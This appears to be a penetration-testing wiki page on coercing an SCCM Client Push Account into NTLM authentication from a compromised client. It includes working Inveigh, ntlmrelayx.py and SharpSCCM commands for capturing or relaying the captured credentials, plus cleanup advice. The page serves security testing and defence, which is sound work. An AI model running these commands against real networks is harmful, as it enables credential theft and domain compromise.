Client Push account authentication coercion
Theory
If SCCM is deployed via Client Push Accounts, it is possible, from a compromised SCCM client, to coerce the Client Push Account into authenticating to an arbitrary remote resource. It is then possible to retrieve NTLM authentication data in order to crack the account's password or relay the data to other services. Client Push Accounts are privileged as they are required to have local administrator rights on workstations on which they deploy the SCCM client.
For additional attack techniques and defense strategies related to client push account coercion in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
In some case, the "Client Push Accounts" could even be part of the Domain Admins group, leading to a complete takeover of the domain.
Practice
Authentication Coercion via Client Push Installation
The client push installation can be triggered forcefully or - if you're lucky - your compromised machine might not have the SCCM client installed, which mean you could capture the client push installation as it occurs.
Option 1: Wait for Client Push Installation
# Credential capture using Inveigh
Inveigh.exeOption 2: Forcefully "coerce" the Client Push Installation
One should read this blog before continuing, as this attack might leave traces behind and might mess things up with the SCCM environment.
Step 1: prepare coercion listener
Note that you could either capture & crack received credentials or relay them to a suitable target system (or both).
# On Linux
## Relay using ntlmrelayx.py
ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179# On Windows
## Credential capture using Inveigh
Inveigh.exeStep 2: trigger Client-Push Installation
# If admin access over Management Point (MP)
SharpSCCM.exe invoke client-push -t $TARGET --as-admin
# If not MP admin
SharpSCCM.exe invoke client-push -t $TARGETStep 3: cleanup
If you run the above SharpSCCM command with the --as-admin parameter (since you have admin privileges over the MP), there's nothing to do. Otherwise, get in contact with the administrator of the SCCM system you just messed up and provide the name or IP of the attacker server you provided in the -t $TARGET parameter. This is the device name that will appear in SCCM.
Resources
https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a
https://github.com/subat0mik/Misconfiguration-Manager/tree/main/attack-techniques/ELEVATE
https://github.com/subat0mik/Misconfiguration-Manager/tree/main/attack-techniques/COERCE